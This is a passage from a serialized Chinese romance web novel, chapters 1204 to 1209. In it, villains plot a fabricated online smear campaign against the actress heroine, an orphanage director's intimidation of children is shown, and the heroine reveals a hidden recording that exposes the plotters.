马楠手指死死抠住保镖的手臂,指甲几乎嵌进肉里,仿佛要抓住最后一根救命稻草。“这圈子有多少人潜规则玩这一套,凭什么只有我沦落到这一步?”他嘶吼着,声音如困兽濒死的呜咽。那些被他用权势压垮的学生、被他用资源诱惑的女星,此刻在他脑海中模糊成一片,只剩下温栩栩冷冽的面容,如刀锋般刺入他的心脏。 他忽然仰头狂笑,笑声凄厉如夜枭,泪水与唾液混在一起,显得格外狰狞:“温栩栩毁了我,她自己又能走多远?黎云笙再有能耐,她也就是黎云笙一个拿不出手的小情儿!一个小情儿能嚣张多久?等黎云笙玩腻了她,她又能有什么好下场!” 他的眼神陡然变得恶毒,仿佛要将温栩栩的未来撕碎。 他想象着温栩栩被抛弃后的凄惨模样,流落街头、遭人唾弃、沦为笑柄……那画面让他扭曲的心灵得到一丝病态的满足。 “温栩栩!等我出来那天,我一定不会放过你!”他嘶吼着,声音在走廊里撞出回声。 保镖的拳头猛地砸在他肚子上,他痛得蜷缩成一团,却仍用仇恨的目光盯着前方虚无的空气,仿佛要将温栩栩的模样刻进骨髓。 到了这时候,马楠悔的已经不是自己潜规则欺压学生玩资本那一套,他悔的是自己不该没摸清温栩栩的底就得罪了她。 可那点悔意,在怨恨的烈火中迅速燃烧殆尽,最终化作浓稠的毒汁,腐蚀着他的灵魂。 他蜷缩在地上,像一只被剥去皮毛的落水狗,头发散乱,西装皱巴巴地贴在身上。 他喘着粗气,心中不断重复着:“错的不是我,是温栩栩!是她心狠手辣,是她不择手段!这世界上所有人都是错的,只有我一人才是对的。” 他的三观早已扭曲如麻,将所有的恶行合理化。潜规则是行业的“规则”,欺压学生是“考验”,而温栩栩的反击,则是“恶毒”的报复。 他将自己包装成受害者,将温栩栩视为恶魔,仿佛自己的一切恶果,都是她一人造成的。 他抬起头,望向办公室的方向,眼中闪烁着毒蛇般阴冷的光。 他想象着温栩栩此刻的表情,或许是得意,或许是轻蔑,又或许是……一丝愧疚?不,不可能!她那么狠,怎么可能有愧疚? 他咬着牙,指甲深深掐进掌心,疼痛让他清醒,也让他更恨。他忽然咧嘴一笑,笑容扭曲而疯狂:“等着吧,温栩栩。我马楠就算烂在泥里,也要拉你一起下地狱!黎云笙能护你一时,护不了你一世!总有一天,你会比我更惨!” 保镖的拖拽愈发粗暴,他的身躯在地上摩擦,蹭出狼狈的痕迹。但他不在乎,他的灵魂早已沉入深渊,只剩下一颗被怨恨填满的心,在黑暗中不断诅咒着温栩栩的名字。 他相信,善恶终有报,而温栩栩的“报应”,会比他的下场更惨百倍。 办公室内,温栩栩倚在黎云笙怀中,听着走廊里渐行渐远的嘶吼,唇角勾起一抹嘲讽的笑。她望向黎云笙,眼中闪烁着冷冽的光:“黎少,您听见了吗?马主任的‘祝福’。” 黎云笙的拇指轻轻摩挲着她的下颌,声音低沉如夜:“放心,他不会有出来的那一天。” 第1204章 新鲜劲儿过了说甩就甩 温栩栩听着马楠的哭喊,脸上没有一丝动容。 她缓缓转身,望向黎云笙,眸中闪烁着复杂的光芒。 她知道马楠的话没错,这圈子里潜规则、肮脏的交易数不胜数。 但,那又如何?她不会成为下一个受害者,更不会容忍别人践踏她的尊严。她要让所有人都知道,她温栩栩,不是任人揉捏的软柿子。 不是她自己自大,而是她清楚黎云笙是她的靠山,只要有黎云笙,她就不用担心剩下的事。 因为黎云笙一定会为她处理好这些事的,她就是有这样的自信。 黎云笙读懂了她眼中的情绪,他忽然伸手,捏住她的下巴,迫使她抬头看着自己。 他的指尖温热,带着不容抗拒的力量。温栩栩的心跳猛地加快,她望着他深邃的眼眸,仿佛要溺毙其中。 黎云笙的拇指轻轻摩挲着她的唇瓣,声音低沉如蛊:“你不需要走多远,我会带你,走到最高处。”他的话语带着不容置疑的自信,仿佛一切尽在掌握。 温栩栩此刻全当看不到王双双有多悲惨,她依偎在黎云笙怀中,声音娇软如蜜糖:“我们回家吧,我不想再看到他们。”她微微仰头,指尖轻点黎云笙的胸膛,睫毛颤动如蝶翼,仿佛眼前的一切污浊与她无关。 黎云笙眉头微皱,目光扫过蜷缩在地的王双双,眼底掠过一丝寒意:“就这样?” 他本欲将王双双彻底送入深渊,可温栩栩却眉眼弯弯,笑意里藏着深不见底的冷冽:“就这样吧。” 胡扯,只送进去能判多久?过几年王双双从狱中出来不还是王家大小姐? 温栩栩要做的是杀人诛心,让她这辈子都无法翻身。她笑吟吟的,眼底却是带着寒芒,如淬毒的匕首,锋芒内敛却致命。 黎云笙睨她片刻,仿佛能看穿她心底的盘算,最终薄唇轻启:“依你。”他揽住她腰肢的手微微收紧,带着不容置疑的笃定。 温栩栩在他胸口蹭蹭,声音愈发柔软:“都怪靠在你身上太舒服,我都忘记下去了。” 彭脆脆站在一旁,早按捺不住满腔怒火,见温栩栩这般“轻飘飘”放过王双双,顿时跳脚:“栩栩!王双双这么对你,你怎么能轻易放过她!”她柳眉倒竖,双手叉腰,活像一只炸毛的母老虎。 温栩栩转身,目光扫过彭脆脆,嘴角勾起一抹嘲讽的弧度,声音却压得极低:“不这样又能怎么办呢。”她眼神忽而变得幽深,仿佛沉入寒潭:“李院长都开口了,如果这件事情传出去,恐怕全世界都要骂我呢。” 这话饱含深意,却又点到为止,如同在平静湖面投下一枚石子,涟漪层层荡开。 地上的王双双闻言,眼底闪过一抹精光。 她死死咬住下唇,鲜血在齿间蔓延,却浑然不觉。 彭脆脆不悦地停手,气呼呼地站起来跟在温栩栩身后一起离开。 办公室的门“砰”地关上,隔绝了外界的光线,只剩下李丽杰和王双双,以及满地狼藉。 李丽杰哎呦了几声,故作姿态地弯腰去扶王双双,手还未碰到她,便被王双双猛地推开。 王双双脸颊红肿,双眼中恨意如毒蛇般缠绕,她嘶声道:“我不会放过温栩栩的,我绝对不会放过她的!”她指甲深深抠进掌心,疼痛让她愈发清醒,那恨意几乎要将她吞噬。 李丽杰被推开也不恼,反而慢悠悠直起身子,掏出丝帕擦拭镜片,动作慢条斯理,仿佛在擦拭一件艺术品。 他镜片后的眼睛闪着精明的光,声音低沉如蛇:“王小姐现在说这些,大概是没什么意义了。她背后的人可是黎云笙,帝城黎家的掌舵者,有钱有权,要保一个人易如反掌。” 他故意将“黎云笙”三个字咬得极重,仿佛这三个字是压在王双双心头的一座山。 王双双闻言,胸膛剧烈起伏,她猛然抬头,眼眸赤红如血:“黎云笙又如何!谁能保证黎云笙一辈子都会护着温栩栩!男人嘛,新鲜劲儿过了,还不是说甩就甩!” 她声音带着哽咽,却透着歇斯底里的疯狂:“我绝不会让她好过,我不会让她好过的!”她忽然抓住李丽杰的胳膊,指甲几乎掐进肉里,声音低得像从牙缝里挤出来:“黎云笙不是给她资源要她红吗?那我就让她被骂到退圈!” 方才温栩栩那句“全世界都要骂我”点醒了她。 李丽杰眉头紧锁,满脸茫然地望向王双双,指尖无意识地摩挲着办公桌边缘的雕花。 说他不懂娱乐圈的弯弯绕绕,不明白那些虚无缥缈的“热搜”和“人肉”究竟有多可怕这才是笑话。 但他还是装出一副自己什么都不清楚的模样,似乎就等着王双双说出更令人大跌眼镜的话,他当然希望王双双自己凑上来去当那个“坏人”。 他张了张嘴,喉结滚动,声音里带着浑浊的沙哑:“你想怎么做?这……这能行吗?” 王双双冷笑一声,眼底的恨意如毒蛇吐信。 她猛地倾身向前,指甲深深掐进沙发扶手,恨声道:“李院长,您可别小看了这圈内的‘名声’。只要进了娱乐圈成为明星,半大点事都能上新闻上热搜被追着骂被人肉被P遗照!圈内顶流都能因为在包间吸了根烟脱粉近百万被骂被黑,更别说温栩栩做的这些事了!” 她说到“这些事”时,声音陡然拔高,喉间溢出一声凄厉的哽咽,仿佛又回到了被温栩栩当众羞辱的时刻。 她深吸一口气,强压下翻涌的情绪,继续分析道:“她如今攀上了黎云笙,资源自然会滚滚而来。等她红了,成了众人瞩目的焦点,那就是我们动手的最佳时机!” 李丽杰的眉头皱得更深了,浑浊的眼珠在眼眶里转了几圈,仍是不解似的。 “李院长你别忘记了,温栩栩算是你养大的,你就是温栩栩半个父亲,国人眼里像你这样的人是绝不会伤害她的。” 第1205章 还有什么手段重新站起来? “李院长,你说什么他们都会信。到时候,你只要随便说几句温栩栩的黑料……”王双双的话如冰冷的刀刃,一寸寸剖开他的疑惑。 “您就是她的‘半个父亲’!”王双双猛地拍桌,震得桌上的茶杯发出清脆的颤响。 她眼中闪烁着狂热的光芒,仿佛已看见温栩栩被万千唾沫淹没的惨状:“国人最吃‘亲情’这套!您只需在镜头前抹几滴眼泪,叹几句‘孩子变了’,再‘不经意’透露她小时候的‘劣迹’,比如性格孤僻、欺负同伴、甚至偷窃撒谎……那些喜欢上网整日里喷天喷地的人都是没脑子的蠢货,几句话就能让他们当真,实则是群智商低下的一把把能利用的好枪!” 她说到“好枪”时,嘴角勾起一抹狰狞的弧度,仿佛那些键盘侠不过是她手中待收割的稻草人。 李丽杰的喉头滚动,后背渗出冷汗。 他忽然想起孤儿院里那些孩子们恐惧的眼神,想起温栩栩蜷缩在储物室的身影,想起自己曾亲手篡改过的档案……那些“黑料”,本就是他与温栩栩之间缠绕的绳索,如今却成了绞杀她的绞刑架。 他颤抖着问道:“可……可他们真的会信吗?万一查出来是假的……” 王双双嗤笑出声,笑声里带着刺骨的寒意:“李院长,您太天真了!网络暴力就像洪水,一旦闸门打开,谁还在乎真假?那些所谓的‘正义使者’只会在乎‘吃瓜’的快感,在乎宣泄情绪的刺激!他们根本不会去核实真相,甚至有人就算知道了真相,也会为了维护自己的立场而颠倒黑白!” 她忽然凑近李丽杰,瞳孔里跳动着疯狂:“您别忘了,您手里还有那些‘证据’,档案、照片、监控……您只需稍加引导,再雇佣些水军煽风点火,温栩栩就算浑身是嘴也说不清!到时候,她会被骂到退圈,被全网抵制,甚至被逼到自杀!而您……” 她顿了顿,声音压低如毒蛇嘶鸣:“您还能白白捞到热度,被骂的却只有温栩栩,任谁也骂不到您头上去。” 李丽杰的呼吸急促起来,他攥紧了拳头,指节发白。 办公室里的空气仿佛凝固了,窗外暮色渐沉,阴云密布,仿佛一场暴风雨即将来临。 他忽然想起王双双的话:“正义?早在他们拿起键盘敲击那一刻就没了。” 他的喉头滚动,声音沙哑:“可万一黎云笙护着她……” 王双双的眼中闪过一丝毒芒:“黎云笙再厉害,也挡不住千万人的唾沫!我们只需要把舆论炒到最热,让所有人都觉得温栩栩是‘毒瘤’,到时候,就算黎云笙想保她,也得掂量掂量自己的声誉!再说了……” 她忽然压低声音,几乎贴到了李丽杰的耳边:“如果温栩栩真的被骂到崩溃,您再‘适时’出现,假装要‘救她’,说不定还能从她嘴里套出更多‘猛料’……” 李丽杰的瞳孔猛地收缩,他盯着王双双扭曲的笑脸,仿佛看到了地狱里爬出的恶鬼。 可他却无法反驳,因为他知道,王双双说得对。 那些键盘侠,那些无脑的喷子,那些自以为在维护正义的蠢货,正是他手中最锋利的武器。 他们不需要真相,不需要证据,只需要一个靶子,一个可以发泄情绪的对象。 而温栩栩,就是那个完美的靶子。 他颤抖着点了点头,喉间挤出一声沙哑的“好”。 既然已经决定上王双双这条贼船,李丽杰也不再继续装什么好人了,他意味深长的笑了一声。 “你这样说的话,我这儿,可是有些‘好东西’……”他故意停顿,指尖轻点胸口,暗示着深藏的秘密。 王双双眼睛猛地瞪大,呼吸急促起来。 她知道,李丽杰作为孤儿院的院长,手里握着无数把柄,那些被虐待的孩子、被篡改的档案、被掩盖的丑闻……足够将温栩栩拖入泥潭。 李丽杰见火候已到,缓缓开口,声音带着蛊惑:“温栩栩当年在孤儿院,可是个‘特别’的孩子。她曾经有个养母,死得蹊跷,档案里写着是病逝,可谁知道呢?”他嘴角勾起一抹阴笑:“还有那些孩子,被她‘欺负’过的,被她‘威胁’过的,要是有人愿意站出来指证她……” 他忽然凑近王双双,声音压得更低:“就像你说的,再加上网络的力量,那些键盘侠,可最擅长给人定罪了。”王双双眼睛亮得骇人,她舔了舔干裂的嘴唇,声音沙哑却兴奋:“对!雇佣水军,买热搜,伪造证据!把她在孤儿院的‘恶行’公之于众!”她仿佛已经看到温栩栩身败名裂的模样,笑得狰狞:“她不是说怕被骂吗?我就让她被骂到死!” 李丽杰满意地点点头,镜片后的眼睛闪着算计的光。 他掏出手机,拨通一个号码,声音瞬间变得谄媚:“张总啊,我是李丽杰……对对,有点‘小忙’想请您帮衬……放心,事成之后,您要的资源,我绝对双手奉上。” 电话那头传来模糊的应和声,王双双在一旁听得真切,心中大定。 李丽杰挂断电话,转身看向王双双,笑容愈发虚伪:“王小姐,您王家在媒体界的人脉,也该派上用场了。” 他暗示道:“那些娱乐记者,最喜欢这种‘大瓜’了。” 王双双点头如捣蒜,她掏出手机,迅速拨通父亲的号码:“爸,我需要您帮忙联系几家媒体……对,关于温栩栩的……对,越快越好!” 两人在昏暗的办公室内密谋,仿佛两条毒蛇交缠,吐着信子,酝酿着致命的毒计。 李丽杰擦拭镜片的动作愈发缓慢,镜片上反射着王双双扭曲的面容,他嘴角勾起一抹得逞的笑。 温栩栩啊温栩栩,你以为你赢了?这才只是开始。等舆论的巨浪将你吞没,等那些被你伤害过的“孤儿”站出来指控你,等你的过去被扒得干干净净……你就算有黎云笙护着,又能怎样? 你还有什么手段重新站起来? 第1206章 等着将她拖入深渊 名声一旦臭了,黎云笙还能要一个满身污点的女人?到时候,王家有的是手段让你生不如死! 王双双挂断电话,脸上终于露出几分得意。 她看向李丽杰,声音带着狠毒:“李院长,您手里那些‘证据’,最好明天就能曝光。” 李丽杰微微一笑,镜片后的眼睛闪着阴毒的光:“放心,我这就去安排。不过……”他话锋一转,声音带着威胁:“王小姐可别忘了,事成之后,您答应我的资源……”王双双不耐烦地挥手:“只要温栩栩倒了,你要什么我都给你!” 李丽杰满意地点头,转身离开那间充满阴谋气息的办公室。 他踏出大楼,坐进那辆锃亮的黑色轿车,车窗玻璃隔绝了外界探究的目光。 汽车缓缓驶离市区,朝着城郊的方向驶去。车轮碾过坑洼不平的路面,车身微微颠簸,李丽杰闭目养神,嘴角却挂着一抹若有似无的阴笑,仿佛已预见温栩栩被舆论撕碎的惨状。 约莫半小时后,轿车停在一处斑驳的铁门前。 铁门锈迹斑斑,门柱上歪歪扭扭挂着“阳光孤儿院”的牌子,油漆早已剥落大半,露出底下腐朽的木料。 李丽杰下车,掏出一串钥匙,钥匙碰撞发出清脆的声响。 他推开铁门,门轴发出“吱呀——”的哀鸣,仿佛被困的幽灵在呜咽。 孤儿院内的景象令人窒息。 破旧的砖瓦房外墙爬满青苔,雨水侵蚀的痕迹如泪痕般斑驳。 院子里的水泥地龟裂纵横,杂草从缝隙中倔强地钻出,在风中瑟瑟发抖。 几扇窗户的玻璃残缺不全,用木板草草钉上,漏风的缝隙中飘出潮湿发霉的气味。晾衣绳上挂着几件洗得发白的衣裳,在风中无力地摆动,仿佛被抽走了灵魂。 李丽杰踏入主楼,走廊里弥漫着一股陈腐的气息,混合着消毒水的刺鼻与霉味的阴郁。墙壁上斑驳的墙漆剥落成片,露出底下粗糙的砖块,墙角结着蛛网,几只壁虎在阴影中迅捷地爬行。 他踩着吱呀作响的木楼梯往上走,每一步都惊起一阵尘埃。 “院长回来啦!”一个瘦小的男孩突然从转角窜出,声音带着颤抖。他约莫十岁,头发枯黄蓬乱,身上套着明显不合身的旧毛衣,袖口磨得起了毛边。 话音未落,他猛然转身,如受惊的幼兽般朝着走廊深处狂奔,拖鞋在地板上拍打出一串慌乱的声响。 “小豆子!跑什么跑!”李丽杰故作严厉地呵斥,嘴角却勾起一抹冷笑。他的声音在空旷的走廊里回荡,仿佛一道催命符。 顷刻间,原本在活动室里玩耍的孩子们如受惊的鸟群般四散奔逃。 几个小女孩尖叫着躲进储物间,将门死死抵住,门缝里透出她们惊恐的抽泣,一个瘸腿的男孩扶着墙壁踉跄后退,指甲抠进墙缝,指尖渗出血丝,还有几个孩子躲进床底,将身体蜷缩成团,瑟瑟发抖,仿佛床板能隔绝一切恐惧。 李丽杰慢悠悠地踱步,皮鞋敲击地面的声音在寂静中格外清晰。 他推开活动室的门,里面桌椅歪斜,散落着几本破旧的绘本,墙角的积木散落一地,仿佛刚刚经历过一场慌乱。 他弯腰捡起一本绘本,封面已被撕去大半,露出内页歪歪扭扭的涂鸦,一个黑色的人影,头顶长着尖角,周身缠绕着火焰。 李丽杰嘴角的笑意更浓了,他合上绘本,指尖轻点封面的残角:“温栩栩……当年也是这么害怕呢。” 他转身走向自己的办公室。 办公室位于顶楼,与孤儿院的破败形成鲜明对比。 厚重的木门泛着暗红的光泽,门把手上雕着繁复的花纹,仿佛不属于这个破败的地方。 李丽杰推门而入,室内整洁得令人不适。深棕色的办公桌擦拭得一尘不染,台灯投下柔和的光晕,书架上摆满了精装书籍,墙角甚至摆放着一盆绿意盎然的盆栽,叶片在暖光下泛着润泽的光。 他径直走向靠墙的文件柜,柜门把手泛着冷冽的金属光泽。他输入密码,柜门“咔嗒”一声弹开,露出里面整齐排列的档案袋。 每个档案袋上,都印着孩子们的名字,其中一袋格外厚重,封面上“温栩栩”三个字被红色记号笔着重标出,如一道狰狞的伤口。 李丽杰取出这叠档案,指尖轻轻摩挲封面,仿佛抚摸猎物的皮毛。 档案内夹着泛黄的照片:一张是温栩栩蜷缩在角落,眼神空洞如死水;另一张是她被几个孩子围堵在厕所,衣衫凌乱。 照片边缘有被撕扯的痕迹,仿佛有人曾试图销毁它们。 模糊的监控截图显示,深夜时分,温栩栩被锁在储物室,门缝透出微弱的光。 几份被篡改过的记录更令人触目惊心,温栩栩养母的死亡时间被提前,死因从“病逝”改为“意外”,温栩栩的档案中,赫然写着“性格孤僻,常有暴力倾向”的评语,笔迹与李丽杰的一模一样。 李丽杰翻动档案的手微微颤抖,那并非出于恐惧,而是兴奋的预兆。 他忽然抬头,目光投向窗外。 暮色渐沉,孤儿院的轮廓在渐暗的天光中显得愈发阴森。楼下传来孩子们压抑的哭声,如夜枭啼鸣,撕扯着寂静。 他嘴角勾起一抹阴笑,声音低得像在自言自语:“温栩栩,当年你逃不过我的手掌心,现在……照样逃不掉。” 他合上档案,锁回文件柜,动作轻柔得仿佛在安置一件珍宝。 转身时,墙上挂着的“爱心院长”奖状映入眼帘,玻璃框映出他扭曲的笑容。 奖状下方,一张泛黄的合照里,一群孩子簇拥着他,笑容天真无邪。可若细看,每个孩子的眼神深处,都藏着怯懦与惊惧。 夜色彻底笼罩孤儿院,李丽杰离开时,铁门再次发出哀鸣。 轿车尾灯在黑暗中渐行渐远,孤儿院重归死寂。 唯有那扇锁着档案的柜门,在黑暗中泛着冷光,仿佛一个吞噬灵魂的深渊,等待着将温栩栩拖入其中。 第1207章 我在这里等你 “黎少,这是我好友彭脆脆。”离开A大,温栩栩停下脚步介绍彭脆脆。 她转身时脸上挂着灿烂的笑容,像是要将所有阳光都揉进眸子里。 她说话时,指尖不自觉地揪了揪黎云笙的衣角,那动作带着几分孩童般的依赖,又藏着几分郑重其事。 黎云笙垂眸望向她,眼底掠过一丝柔和,随即目光转向彭脆脆。 彭脆脆的心猛地一紧,手心沁出薄汗,她从未见过这般气度的男人。 他身姿挺拔如松,西装剪裁得恰到好处,勾勒出冷峻的轮廓,眉峰微挑时,仿佛能看见商场上运筹帷幄的锋芒。 然而此刻,他竟微微颔首,嘴角甚至漾起一抹浅淡的弧度:“你好。”那声音清冷中带着一丝低沉的哑意,如同大提琴拨动的尾音,却让彭脆脆险些被自己的口水呛到。 “好好好……”彭脆脆结结巴巴地回应,脸颊涨得通红,连耳尖都染上了绯色。 温栩栩见状,忍不住轻笑出声,悄悄捏了捏好友的手。 黎云笙的目光却始终落在她身上,见她笑得眉眼弯弯,眸底那点冷意彻底消融,仿佛春雪遇暖阳,化作一汪深潭。 “黎少,我能不能单独跟栩栩说几句话,有点事情要问她。”彭脆脆深吸一口气,终于鼓起勇气开口。她说话时,手指无意识地绞着衣摆,眼神却不敢再看黎云笙。 温栩栩有些惊讶地望向好友,却见黎云笙并未不悦,反而挑眉轻笑,那笑意里竟带着一丝纵容:“好。” 温栩栩的心跳蓦地加快,她踮起脚尖,在黎云笙唇边蜻蜓点水般亲了一下,脸颊泛起淡淡的红晕:“谢谢黎少。” 男人眸光闪了闪,喉结微动,却并未言语,只是伸手轻轻抚了抚她发顶,指尖似有若无地摩挲过她耳后的碎发。 那动作轻柔得如同羽毛拂过,却让温栩栩浑身一颤,耳尖烫得厉害。 两人离开后,黎云笙并未立即离去,而是倚在香樟树下,目光追随着温栩栩的背影。 她消瘦的身影在阳光下显得格外单薄,却让他的心莫名柔软。 他望着她与彭脆脆说笑的模样,喉间溢出一声低笑,那笑声低沉得如同大提琴后调的低缓声音,带着几分旁人难以察觉的宠溺。“栩栩。” 他突然出声,声音偏清冷,却又裹着丝缕哑意,仿佛浸了蜜的绸缎。 温栩栩闻声转身,颊边的小梨涡若隐若现,红肿的眼角在笑意中仿佛被隐去,只余下眼底漾开的温柔。 黎云笙望着她,喉结滚动,最终只吐出三个字:“我在这里等你。”温栩栩的笑意更深了,她点了点头,脚步轻快地走向咖啡店,背影仿佛被阳光镀上了一层金边。 黎云笙站在原地,目光如胶般黏在她身上,直到她身影消失在拐角处,才缓缓收回视线,指尖却仍残留着她发丝的触感,温软得让人心悸。 温栩栩和彭脆脆挑的是A大附近一家雅致的咖啡店,店内暖黄的灯光柔柔洒下,空气中飘着咖啡豆的醇香。 两人要了个靠窗的包间,彭脆脆一进门便迫不及待地锁上门,转身时眼神亮得惊人,像是发现了新大陆。 她握着温栩栩的肩膀,语气激动得几乎要破音:“你什么时候跟黎云笙好上了?!你俩什么时候在一起的?!你怎么想的?!是你疯了还是那位疯了!” 一连串的问题如炮珠般砸向温栩栩,她先是一愣,随即被好友的夸张反应逗得笑出了声。 彭脆脆却不依不饶,拉着她在沙发坐下,目光灼灼地盯着她,仿佛要挖出所有秘密。 “好啦好啦,慢慢说。”温栩栩笑着安抚道,顺手接过服务生送来的饮品。 彭脆脆点的牛奶西米露散发着甜香,她捧着杯子猛吸一口,脸颊鼓得像只仓鼠,眼神却依旧亮晶晶的。 “其实……就是顺其自然吧。”温栩栩的声音放柔,指尖无意识地搅动着杯中的咖啡, “他……对我很好。”她轻声说道,声音里藏着连自己都没察觉的甜蜜。 彭脆脆的眼睛瞪得更圆了,她猛地凑近温栩栩,鼻尖几乎要贴上她的脸:“真的?他不是传闻中那个冷血无情的黎少?”温栩栩轻笑,想起黎云笙方才那抹温柔颔首,指尖抚过她发顶的触感,心尖泛起一阵酥麻:“传闻……或许只是传闻。”她说着,颊边的小梨涡愈发明显,仿佛盛满了蜜糖。 彭脆脆彻底沸腾了,她激动地在包间里踱步,嘴里不停念叨着:“天哪!你居然拿下了黎云笙!那可是黎云笙啊!投资《灵媒》的那位!手段狠辣,传闻连对手都怕他三分……” 她说着,突然顿住脚步,眼神里闪过一抹担忧:“栩栩,你真的想清楚了吗?他那样的身份……会不会只是玩玩?” 温栩栩的心猛地一紧,指尖攥紧了裙摆。 她想起那些深夜的陪伴,想起他眼底的宠溺,想起他方才那句“我在这里等你”……那些细节如暖流般涌上心头,让她重新坚定起来。 可要说就因为这个就完全信过黎云笙,那反倒显得她太过幼稚可笑了。 会有防备的,但现在……黎云笙是真的对她很好,她也愿意依赖黎云笙一些。 她抬头望向好友,目光清澈而坚定:“我相信他。” “可是……到底是什么时候的事啊……真的好奇妙啊,我一个没注意你竟然就跟大佬在一起了,这真的有点玄幻啊栩栩。”彭脆脆忍不住开口又问。 咖啡店包间的暖光柔和地洒下,空气中漂浮着香草拿铁的醇香与牛奶西米露的甜腻。 温栩栩被彭脆脆摇晃得头晕目眩,她踉跄着扶住沙发靠背,发丝凌乱地垂在额前,却仍带着几分无奈的笑意:“就这两天的事,真的。”她声音轻软,像是浸了蜜的绸缎,却又藏着几分难以言说的疲惫。 彭脆脆闻言并未松手,反而愈发激动,她瞪圆了眼睛,眼中闪烁着震惊与不解:“我震惊到好像我跟我男神偶像结婚生娃,不,震惊到好像那些吃海参的拿了世界杯冠军!” 第1208章 她就这么配不上他? 彭脆脆此刻语无伦次地比划着,双手在空中乱舞,仿佛要将所有惊诧都具象化。 温栩栩被她逗得轻笑出声:“这什么破比喻。”她抬手拂了拂额前的碎发,指尖微微发颤,那抹疲惫终于从眼底泄露出来,像是被风吹散的薄雾,朦胧又真实。 彭脆脆这才意识到自己的失态,她猛地松开手,端起温栩栩的香草拿铁猛灌一口,冰凉的液体滑入喉间,却浇不灭她心头的灼热。 她将空杯重重搁在桌上,瓷杯与木质桌面相碰,发出清脆的声响:“我就那么配不上黎云笙?”她语气里带着几分自嘲,目光灼灼地望向好友,仿佛在寻找答案。 温栩栩叹了口气,眉间蹙起一抹轻愁,她倚在沙发里,手指无意识地搅动着杯中的咖啡,琥珀色的液体泛起涟漪,如同她此刻纷乱的心绪。 “我走到这一步也是被逼的。”她声音低缓,像是呢喃。 彭脆脆闻言身体一震,她握紧好友的手,指尖微微发凉。 温栩栩的眸色渐深,仿佛沉入深潭:“你是知道的,我虽然学了表演但一直没有片约,只能跑龙套。我猜到有人故意设计我,但我没想到会跟李丽杰和马楠有关……”她说着,指尖攥紧了裙摆,布料在她掌心皱成一团,如同她此刻被搅乱的生活。 彭脆脆听着,眼眶不禁发热,她想起温栩栩这些年的挣扎。那些深夜的试镜,那些冷眼与嘲笑,那些在剧组跑龙套时受的委屈,桩桩件件,都像利刃般扎在心上。 “还是黎云笙投资了《灵媒》指定我当女主角,我也是为了生存……”温栩栩的声音愈发低沉,尾音带着一丝颤抖。 彭脆脆望着她,喉头哽住,最终只竖起大拇指,声音沙哑:“你真行。”她眼底泛起泪光,却又倔强地不肯落下。 温栩栩苦笑一声,那笑意里满是苦涩。 “外界传这位黎少又丑又胖,你就真不怕黎少真那样?”彭脆脆的声音带着一丝赌气,却又藏着关切。 温栩栩摇了摇头,目光却异常坚定:“就算真这样也是我自己选的,反正绝不会让李丽杰算计成功。” 她说着,冷笑一声,那笑声像是淬了冰,冷冽而决绝。 彭脆脆的心猛地一揪,她知道,温栩栩这是被逼到了绝境。 “我总觉得黎云笙不是那么好相处的人,你小心玩火自焚。”彭脆脆的声音带着一丝担忧,她攥紧温栩栩的手,指尖泛白。 温栩栩却抬头望向她,眸中闪烁着异样的光芒:“他对我好我就对他好,以德报德,没什么可玩火自焚的。”她声音平静,却坚定。 彭脆脆望着她,一阵无言,却也知若不是被李家逼到没有办法,温栩栩绝不会做出这种选择。 她深吸一口气,从包里掏出一个黑色U盘,动作小心得如同捧着易碎的珍宝:“对了,办公室内的监控录像我已经录制好了,为了以防万一我备份一份,原件交给你。”温栩栩接过U盘,指尖微微发颤,那小小的物件仿佛有千钧重。 她眸中闪过一丝冷意,仿佛寒霜凝结,王双双和李丽杰真以为她无力回击吗?不,这一次,她要让她们付出代价! 彭脆脆望着她,喉头动了动,最终只吐出两个字:“好,辛苦了。” 温栩栩将U盘握紧,仿佛握住了最后的筹码。 她深吸一口气,强压下心头的翻涌,转头望向窗外。 夕阳的余晖透过玻璃洒入包间,为她镀上了一层金边,却仍遮不住她眼底的寒意。 温栩栩不过是故意被打。 温栩栩听到彭脆脆说挂科这事就猜到跟王双双和李丽杰多少有点关系,只要她进入A大一定有人通风报信告诉王双双。 所以温栩栩让早到的彭脆脆进到办公室就偷偷在领口别上监控录像,将李家和马楠勾结的事录下来,包括李丽杰张口闭口贱人的殴打温栩栩全都在这里面。 卑鄙丑恶的人会用各种无耻的方式出现在任何地方用尽手段的恶心你,就像是阴沟里面吸血的臭虫。 温栩栩做了现在这一切就是为了预防可能发生的事。 她走之前说的那些话就是在给王双双和李丽杰暗示。 她是要进入娱乐圈的,这个圈子的艺人明星你要干干净净的没有乱七八糟的黑料才行,否则就会遭到反噬被骂被人肉。 王双双李丽杰卑鄙无耻,王双双又嫉妒心强,绝不想看她过上安稳的生活,一旦她在圈内站稳脚跟或者事业有点起色,王双双一定会出现。 说不准还会拉着李丽杰一起。 李丽杰毕竟是孤儿院院长,只要李丽杰说几句于她不利的话,大众一定会相信。 毕竟谁会信一位行善多年的孤儿院院长会害她? 录制这段视频,等李家人和王家人有了动作就能发出去打那些键盘侠的脸。 也好让日后那群人看看,这世界上真的有一种人,不配做人,只是渣滓。 彭脆脆知道,温栩栩这是动了真怒,她从未见过好友这般模样,冷静得可怕,却又坚定得让人心惊。 两人沉默了片刻,包间内的气氛压抑得如同凝滞的琥珀。 彭脆脆终于打破沉默,她伸手拍了拍温栩栩的肩膀,声音带着一丝调侃:“不过话说回来,黎云笙对你倒是真不错。投资《灵媒》指定你当女主,还那么护着你……”她说着,眼底泛起一丝好奇。 温栩栩闻言,脸颊微红,她低头搅着咖啡,耳尖却染上了淡淡的绯色:“他……确实对我很好。”她声音低如蚊蝇,却藏着连自己都没察觉的甜蜜。 彭脆脆眼睛一亮,像是发现了新大陆,她猛地凑近温栩栩,鼻尖几乎要贴上她的脸:“快说说,你们之间有没有什么……暧昧的小细节?” 她眼中闪烁着八卦的光芒,让温栩栩忍不住轻笑出声。 她想起黎云笙抚她发顶的温柔,想起他眼底那抹不容置疑的坚定……那些画面如电影般在脑海中闪过,让她的脸颊愈发滚烫。 “好啦,快喝你的西米露吧,都要凉啦!”温栩栩笑着转移话题,顺手端起彭脆脆的杯子递给她。 第1209章 等久了吗 谁不喜欢八卦? 彭脆脆也是喜欢八卦的。 彭脆脆不依不饶,她接过杯子猛吸一口,脸颊鼓得像只仓鼠,眼神却依旧亮晶晶的:“你快说嘛!我可是你最好的闺蜜,这种好事怎么能瞒着我?”她撒着娇,声音软糯得如同撒娇的猫咪。 温栩栩被她逗得笑出了声,她望着好友,眼底漾开温柔:“其实……也没什么啦,就是……”她声音放柔,指尖无意识地摩挲着杯沿,目光飘向窗外,仿佛陷入回忆。 